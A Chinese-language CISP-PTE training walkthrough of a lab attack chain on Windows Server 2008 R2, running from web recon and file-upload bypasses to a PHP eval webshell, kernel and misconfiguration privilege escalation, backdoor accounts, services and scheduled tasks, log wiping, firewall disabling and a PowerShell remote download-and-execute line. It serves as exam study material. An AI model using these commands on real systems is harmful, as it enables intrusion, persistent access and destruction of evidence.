CISP-PTE实战:从Web渗透到Windows提权的完整攻击链解析

CISP-PTE实战:从Web渗透到Windows提权的完整攻击链解析
1. 项目概述一次完整的渗透测试实战演练最近在准备CISP-PTE认证的实操部分发现很多朋友对“从Web渗透到系统提权”这个完整链条的理解还是停留在理论层面尤其是面对像Windows Server 2008 R2这样的经典靶场环境时容易在各个环节卡壳。今天我就以一个典型的CISP-PTE靶机环境为蓝本带大家走一遍从外部信息探测到最终获取Shell的完整流程。整个过程会重点使用BurpSuite进行Web漏洞挖掘与利用并最终通过蚁剑等工具实现权限提升模拟一个贴近真实渗透测试工程师PTE的工作场景。无论你是正在备考CISP-PTE还是想系统性提升自己的内网渗透能力这篇实战记录都能提供一个清晰的、可复现的路径。我们不仅会操作更会拆解每一步背后的逻辑让你明白“为什么要这么做”以及“遇到问题该怎么排查”。2. 靶场环境与核心思路拆解2.1 靶场环境特征与攻击面分析我们面对的靶机是一台Windows Server 2008 R2。选择这个系统作为靶场非常有代表性首先它仍然是许多老旧内网系统中常见的服务器操作系统生命力顽强其次其默认配置和已知漏洞如MS17-010永恒之蓝在渗透测试中极具教学价值最后从CISP-PTE的考核角度看它涵盖了从外部Web应用到内部系统权限的完整攻击链。攻击的起点通常是一个对外开放的Web服务端口如80、443。我们的核心思路遵循经典的渗透测试流程信息收集 - 漏洞挖掘 - 漏洞利用 - 权限维持 - 横向移动/权限提升。在本场景中目标是从一个低权限的Web Shell例如通过文件上传或SQL注入获取的出发突破系统限制最终获取到目标服务器的最高权限通常是SYSTEM或Administrator。这中间会涉及对Windows系统服务、注册表、计划任务、内核漏洞等多方面的知识运用。2.2 工具选型与策略考量工欲善其事必先利其器。针对Win2008 R2的渗透工具链的选择直接关系到效率和成功率。信息收集与扫描Nmap 是毋庸置疑的端口扫描和版本探测利器。对于Web路径和敏感文件发现Dirsearch 或 Gobuster 比传统的御剑速度更快、更精准。BurpSuite 作为中间人代理将是我们拦截、重放、扫描Web请求的核心它的Intruder模块在暴力破解和模糊测试时无可替代。漏洞利用与Web渗透对于常见的SQL注入、文件上传漏洞手工结合Sqlmap、BurpSuite往往能取得奇效。一旦发现文件上传点我们会尝试上传一句话木马如PHP、ASPX并用中国菜刀或蚁剑进行连接。这里选择蚁剑AntSword是因为其跨平台、插件化且支持加密连接在绕过简单WAF方面有优势。提权与后渗透获取Web Shell后我们进入了一个受限的命令执行环境。此时需要信息收集来寻找提权突破口。常用的本地信息收集脚本有Windows-Exploit-Suggester、PowerUp.ps1PowerSploit套件的一部分、JAWS等。根据收集到的系统补丁、安装的服务、权限配置等信息我们再决定提权路径是利用未打补丁的系统漏洞如MS16-032、MS17-010还是利用错误配置的服务权限如AlwaysInstallElevated、或是滥用计划任务等。注意所有操作必须在授权的靶场或实验环境中进行。未经授权对任何系统进行渗透测试都是非法行为。3. 外部信息收集与Web漏洞挖掘3.1 端口扫描与服务识别实战第一步我们需要知道靶机开了哪些门。使用Nmap进行一个全面的扫描nmap -sS -sV -O -p- 192.168.1.100-sS: SYN半开放扫描速度快且相对隐蔽。-sV: 探测端口上运行的服务及其版本。-O: 尝试识别操作系统。-p-: 扫描所有65535个端口。扫描结果可能显示开放了80端口HTTP、445端口SMB、3389端口RDP等。对于Web渗透我们聚焦80/443端口。假设发现80端口运行着IIS 7.5Win2008 R2的默认Web服务器这就是我们的主攻方向。3.2 目录爆破与敏感文件发现知道有Web服务后下一步是探索网站结构。使用Dirsearch进行目录爆破python3 dirsearch.py -u http://192.168.1.100 -e php,asp,aspx,jsp,html,htm -t 50这个命令会尝试用字典去猜测目标服务器上存在的目录和文件。-e参数指定了常见的Web脚本后缀。在结果中我们可能会发现诸如/admin/、/upload/、/phpmyadmin/、/backup/等关键目录或是robots.txt、crossdomain.xml等可能泄露信息的文件。手动浏览网站观察功能点如登录框、搜索框、文件上传点、留言板等这些都是潜在的漏洞入口。同时用BurpSuite代理浏览器流量查看每一个请求和响应寻找隐藏参数、不安全的Cookie、有趣的响应头等信息。3.3 漏洞挖掘实战以文件上传为例假设我们在/upload/目录下发现了一个文件上传功能。这是Web渗透中极高价值的突破口。基础绕过测试首先尝试上传一个正常的图片文件确认功能可用。然后尝试上传一个简单的文本文件内容为?php phpinfo();?保存为test.php。如果服务器仅通过后缀名如.php过滤此步可能直接成功。前端绕过如果页面有JavaScript校验可以尝试禁用浏览器JS或使用BurpSuite拦截上传请求修改文件名test.jpg为test.php后再放行。服务端绕过黑名单绕过尝试非常规后缀如test.php5,test.phtml,test.phps,.htaccess配合解析漏洞等。内容检测绕过在PHP代码前添加图片文件头如GIF89a制作图片马。或者利用exif_imagetype()函数只检测文件头部的特性。解析漏洞对于IIS可以尝试test.asp;.jpg或test.asp:.jpg需特定条件。对于Apache可尝试test.php.jpg如果配置了错误的多重后缀解析。竞争条件上传一个内容为生成木马的文件在上传成功到被安全组件删除的极短时间内访问它从而执行代码。在BurpSuite的Repeater模块中我们可以反复修改上传请求的各个部分文件名、Content-Type、文件内容进行测试。一旦上传成功并且能通过Web访问到该文件如http://192.168.1.100/upload/test.php并看到代码执行结果如phpinfo页面我们就获得了最初的立足点。4. WebShell连接与内网信息收集4.1 蚁剑连接与初步控制上传一个功能更强大的WebShell例如一句话木马?php eval($_POST[‘ant’]);?保存为shell.php。使用蚁剑添加Shell在蚁剑中添加数据URL填写http://192.168.1.100/upload/shell.php。连接密码填写ant与POST参数名一致。编码器选择defaultbase64可以有效绕过一些简单的流量检测。点击添加如果一切正常左侧会出现服务器文件树。连接成功后我们相当于拥有了一个在Web服务器进程如IIS的w3wp.exe权限下执行命令的能力。这个权限通常很低可能是IIS_IUSRS或NETWORK SERVICE我们需要收集信息来寻求提权。4.2 系统内部信息收集在蚁剑的虚拟终端中执行一系列命令来绘制系统内部画像# 查看当前用户权限 whoami whoami /priv # 查看系统信息 systeminfo # 查看网络连接和监听端口 netstat -ano # 查看进程列表 tasklist # 查看已安装的软件和补丁 wmic product get name,version # 或查看补丁更准确 wmic qfe get Caption,Description,HotFixID,InstalledOn # 查看计划任务 schtasks /query /fo LIST /v # 查看服务及其权限寻找弱权限服务 sc query # 或者使用更详细的命令 accesschk.exe -uwcqv Authenticated Users * /accepteula # 需要上传accesschk工具 # 查看敏感文件或目录的权限 icacls C:\Windows\System32\cmd.exe icacls C:\Program Files将这些信息保存下来。特别是systeminfo的输出可以用于离线比对已知的提权漏洞。例如查看系统补丁是否缺少MS16-032、MS17-010等。同时关注哪些服务是以SYSTEM权限运行但目录或文件权限配置不当允许低权限用户修改。5. 系统提权路径分析与实战5.1 利用系统内核漏洞提权这是最直接有效的提权方式。将之前收集的systeminfo结果复制下来在本地使用Windows-Exploit-Suggester工具进行分析。# 更新漏洞数据库 python windows-exploit-suggester.py --update # 比对系统信息寻找可能的漏洞 python windows-exploit-suggester.py --systeminfo sysinfo.txt --database 2024-MM-DD-mssb.xls工具会列出可能适用的本地提权漏洞。例如它可能提示MS16-032Secondary Logon Handle漏洞在未打补丁的Win2008 R2上存在。我们可以从Exploit-DB或GitHub搜索对应的利用代码通常是一个PowerShell脚本或可执行文件。实战步骤将提权利用程序如MS16-032的PowerShell脚本Invoke-MS16-032.ps1上传到靶机可写目录。在蚁剑的Web Shell中尝试执行PowerShell命令来加载并运行该脚本。由于权限限制可能需要在命令前加上powershell -exec bypass -c “...”。如果利用成功会弹回一个具有更高权限通常是SYSTEM的Shell。我们可以通过蚁剑的“反弹Shell”功能或使用Netcat、PowerShell Empire等工具接收这个高权限会话。实操心得内核漏洞提权成功率虽高但动静大可能触发杀毒软件。务必先做好信息收集精准利用并准备好备用方案。如果靶机补丁较全此路可能不通。5.2 利用服务配置错误提权如果内核漏洞路径走不通我们转而寻找系统的“配置缺陷”。这里有几个经典方向服务路径/二进制文件权限不当使用sc qc 服务名查看某个服务的可执行文件路径。然后使用icacls “路径”检查该文件或所在目录的权限。如果发现某个以SYSTEM权限运行的服务其对应的.exe文件允许“Authenticated Users”或“Everyone”进行写入那么我们可以上传一个恶意的同名exe文件进行替换重启服务后即可获得SYSTEM权限。风险重启服务可能引起管理员警觉。AlwaysInstallElevated检查注册表项HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated和HKLM\...是否都被设置为1。如果是意味着任何MSI安装包都将以高权限运行。我们可以使用msfvenom生成一个恶意的MSI文件上传并执行即可提权。命令检查reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated计划任务提权查看计划任务schtasks寻找那些以高权限运行、且其执行的操作脚本或程序所在目录我们有写入权限的任务。我们可以替换该脚本等待任务执行。5.3 利用弱密码或令牌窃取如果通过Web渗透获取的Shell权限非常有限但发现系统内存在其他高权限进程或会话可以尝试本地密码哈希抓取上传Mimikatz或Procdump 本地解析尝试抓取内存中的明文密码或哈希。命令如privilege::debugsekurlsa::logonpasswords。但在Win2008 R2上需要绕过LSA保护等限制对操作者要求较高。令牌窃取如果发现有SYSTEM权限的进程如spoolsv.exe存在并且我们通过某些漏洞如PrintNightmare能模拟其令牌也可以获得SYSTEM权限。这通常需要更复杂的利用链。6. 权限维持与痕迹清理6.1 创建后门账户获得SYSTEM权限后为了长期控制通常需要创建一个隐藏的后门管理员账户。# 创建一个名为“$”的隐藏用户在命令行net user中不显示但在控制面板可见 net user hacker$ Pssw0rd! /add net localgroup administrators hacker$ /add # 更隐蔽的方式激活Guest账户并提权或修改现有不常用账户的密码 net user guest /active:yes net user guest Pssw0rd! net localgroup administrators guest /add注意这种基础方法在安全审计中容易被发现。更高级的做法是制作内存马、注册表注入后门、服务后门或计划任务后门。6.2 部署持久化后门服务后门创建一个自启动服务指向我们的木马程序。sc create “WindowsUpdateCheck” binPath “C:\Windows\Temp\backdoor.exe” start auto sc start WindowsUpdateCheck计划任务后门创建定时执行的计划任务。schtasks /create /tn “SystemHealthCheck” /tr “C:\Windows\Temp\backdoor.exe” /sc hourly /mo 1 /ru “SYSTEM”启动项后门将木马程序或脚本放入C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp所有用户或对应用户的AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup目录。6.3 清理入侵痕迹在授权测试结束前需要清理痕迹避免影响靶机后续使用或留下明显证据。删除日志清除事件查看器中安全、系统、应用程序日志的相关条目。可以使用wevtutil命令。wevtutil cl security wevtutil cl system wevtutil cl application注意这会清空整个日志在真实环境中需谨慎通常只删除特定事件ID的日志条目更隐蔽。删除上传的工具和WebShell使用del或rm命令删除上传的渗透工具、脚本和WebShell文件。删除创建的用户如果创建了后门账户在测试完成后将其删除。net user hacker$ /delete net user guest /active:no恢复修改的配置如果修改了服务、计划任务或注册表将其恢复原状。7. 常见问题排查与实战技巧在整套流程中你肯定会遇到各种报错和障碍。这里记录几个高频问题的解决思路问题1上传的WebShell无法访问或返回404/500错误。排查首先确认上传路径是否正确。其次检查服务器是否解析该后缀如上传了.php但服务器只解析.asp。用BurpSuite抓包查看上传请求的完整响应看是否有安全软件拦截的提示。最后检查WebShell代码本身是否有语法错误或使用了被禁用的函数如eval、system。可以尝试上传一个最简单的?php echo “test”;?来测试解析。问题2蚁剑连接WebShell成功但执行命令无回显或权限不足。排查这通常是Web服务器进程权限太低所致。执行whoami确认身份。尝试执行一些无害的命令如dir、echo %PATH%。如果完全无回显可能是disable_functions禁用了命令执行函数需要尝试其他函数或编码方式。蚁剑可以尝试切换不同的“编码器”和“连接类型”。问题3内核漏洞利用程序执行后没有返回高权限Shell。排查补丁状态再次确认systeminfo确保漏洞确实存在且未打补丁。有时漏洞有多个变种需要尝试不同的利用代码。利用程序兼容性确保利用程序exe或ps1与目标系统架构x86/x64匹配。Win2008 R2通常是64位但很多利用程序是32位的可能需要特殊参数或编译版本。杀软拦截上传的利用程序可能被实时防护删除。尝试对利用程序进行混淆、编码或使用内存加载PowerShell无文件落地的方式执行。会话稳定性反弹Shell的端口是否被防火墙阻挡监听端是否已正确启动问题4提权成功后无法进行网络通信如无法下载文件、无法反弹Shell。排查检查新获得的权限会话的网络配置。执行ipconfig /all和netstat -ano。可能是Windows防火墙阻止了出站连接。尝试在提权后的Shell中关闭防火墙netsh advfirewall set allprofiles state off或者使用允许的端口如80、443进行反弹。实战技巧记录信息收集要全面不要只盯着systeminfo进程列表、服务列表、网络连接、安装的软件、计划任务都可能藏着提权的钥匙。善用PowerShell在Windows靶场上PowerShell是比CMD强大得多的工具。很多提权脚本和后期利用工具都是PowerShell写的。即使Web Shell限制了某些功能也可以尝试powershell -c “iex (New-Object Net.WebClient).DownloadString(‘http://your-server/PowerUp.ps1’); Invoke-AllChecks”这样的远程加载方式。保持隐蔽在真实测试中尽量避免直接上传知名黑客工具如mimikatz.exe它们的特征码很容易被查杀。可以尝试自定义编译、代码混淆、或使用Living-off-the-Land Binaries (LOLBAS) 项目中的合法系统工具来实现恶意功能。多层跳板如果Web Shell不稳定提权成功后第一时间建立更稳定的通道如使用plink.exePutty Link建立SSH隧道或使用netsh添加端口转发将内网端口映射到攻击机。整个从Web渗透到系统提权的旅程就像一场精心策划的闯关游戏每一关都需要不同的知识储备和临场应变能力。Win2008 R2靶场是一个绝佳的练习场它几乎涵盖了传统内网渗透会遇到的大部分典型场景。多练、多思考、多总结把每一次“打靶”都当成真实环境来对待你的渗透测试技能树才会扎实地生长起来。最后记住所有的技术都应在法律和道德允许的范围内使用保护网络安全才是学习的最终目的。

最新新闻

日新闻

周新闻

月新闻